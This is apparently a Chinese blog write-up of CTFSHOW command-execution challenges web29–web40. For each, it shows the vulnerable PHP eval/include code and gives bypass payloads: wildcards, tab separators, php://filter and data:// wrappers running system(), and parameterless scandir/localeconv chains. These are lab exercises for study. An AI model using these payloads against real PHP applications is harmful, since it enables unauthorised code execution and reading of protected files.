CTFSHOW刷题-命令执行篇
A_Snail Lv3

CTFSHOW 命令执行板块

先附上两位大佬的wp,太久没打CTF了,自己菜的要死。
https://zhuanlan.zhihu.com/p/404636378
https://wkr.moe/ctf/447.html

web29

没啥好说的

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

get请求命令执行 但是过滤了flag 利用通配符解决

payload

?c=system(‘cat fl*.php’);

image

image

web30

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

一样的审计一下

多了个flag|system|php 过滤

那就不用system执行命令,用其他的

百度一下

1
2
/?c=echo%20`nl%20fla*.ph*`; 
?c=echo%20`tac%20fla*.ph*`;

image

利用post请求,类似于一句话木马

payload还是蛮多的

web31

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

前面的eval 其实可以通杀了

image

大佬的payload

image

?c=echo%09`less%09fla*`;

?c=echo%09`more%09fla*`;

/?c=echo%09`/bin/ca*%09fla*`;

web32

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

都过滤了,这里用文件包含进行尝试
payload

?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
得到的结果再base64解密即可。

web33

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

include和require一样的

web34

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

和前面一样

/?c=require%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image

ctfshow{ee6aa1e8-f525-4459-9456-33e30b313717}

web35

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

其实还是差不多
image
paylod
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web36 同35

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

这里感觉是可以用伪协议的
?c=file:///var/www/html/fla*.php
/?c=php://filter/convert.base64-encode/resource=fla*.php
这俩都失败了
试试其他伪协议
推荐文章
https://segmentfault.com/a/1190000018991087
利用data协议
data://text/plain,<?php%20phpinfo();?>
image

执行成功,直接查看flag
/?c=data://text/plain,<?php%20system("cat fla*.php");?>
查看源代码 拿到flag

image

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

这里过滤了php 原本想着通配符的,失败
base64编码一下
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
image
image
/?c=data://text/plain,<?=system("tac fla*");?> 看了大佬的解题,这里没搞明白,为什么直接 <?=system 后面就可以命令执行了

image
短标签,又学到了。

web39

/?c=data://text/plain,<?=system("tac fla*");?>
这个直接可用
image

web40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

都过滤麻了 直接 只能想到无参数命令执行了
这题是真的有点难

/?c=print_r(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

show_source(next(array_reverse(scandir(pos(localeconv()))))); 这两个都是看大佬的文章学会的

1
2
3
4
5
6
7
8
9
eval(show_source(current(array_reverse(scandir(pos(localeconv())))));)
代码解释:
eval() :执行代码
show_source:高亮显示代码,作用和highlight_file一致
next(array):输出数组指针指向的下一个元素的值,并移动向下一个指针:
current(array):输出数组指针指向的元素(等价于)pos(array)
prev(array)类比next,作用相反
scandir() 函数返回指定目录中的文件和目录的数组。
localeconv() 函数返回包含本地数字及货币信息格式的数组。

然后呢 其实这个payload 也可以
/?c=show_source(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

再看第一个payload
/?c=print_r(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

这里呢,是localeconv() 函数返回包含本地数字及货币信息格式的数组。
然后首先将结果输出
image

再通过pos()得到数组中的关键元素——本地重要文件地址
image

通过scandir()借助本地重要文件地址,返回本地重要的文件名(为什么不直接用,因为flag被过滤了)

image
这里看到flag.php在数组的第三个位置,有点不好取,这里可以用array_reverse()将数组进行反转,从而变成第二个,再用next去取
image
反转后flag.php 在第二个位置
image
利用next读取到flag.php
最后用file_get_contents 或者show_source 进行读取结果
image
image
利用show_source可以直接在网页中显示
image

总结

太菜了。好多都忘记了,得重修了。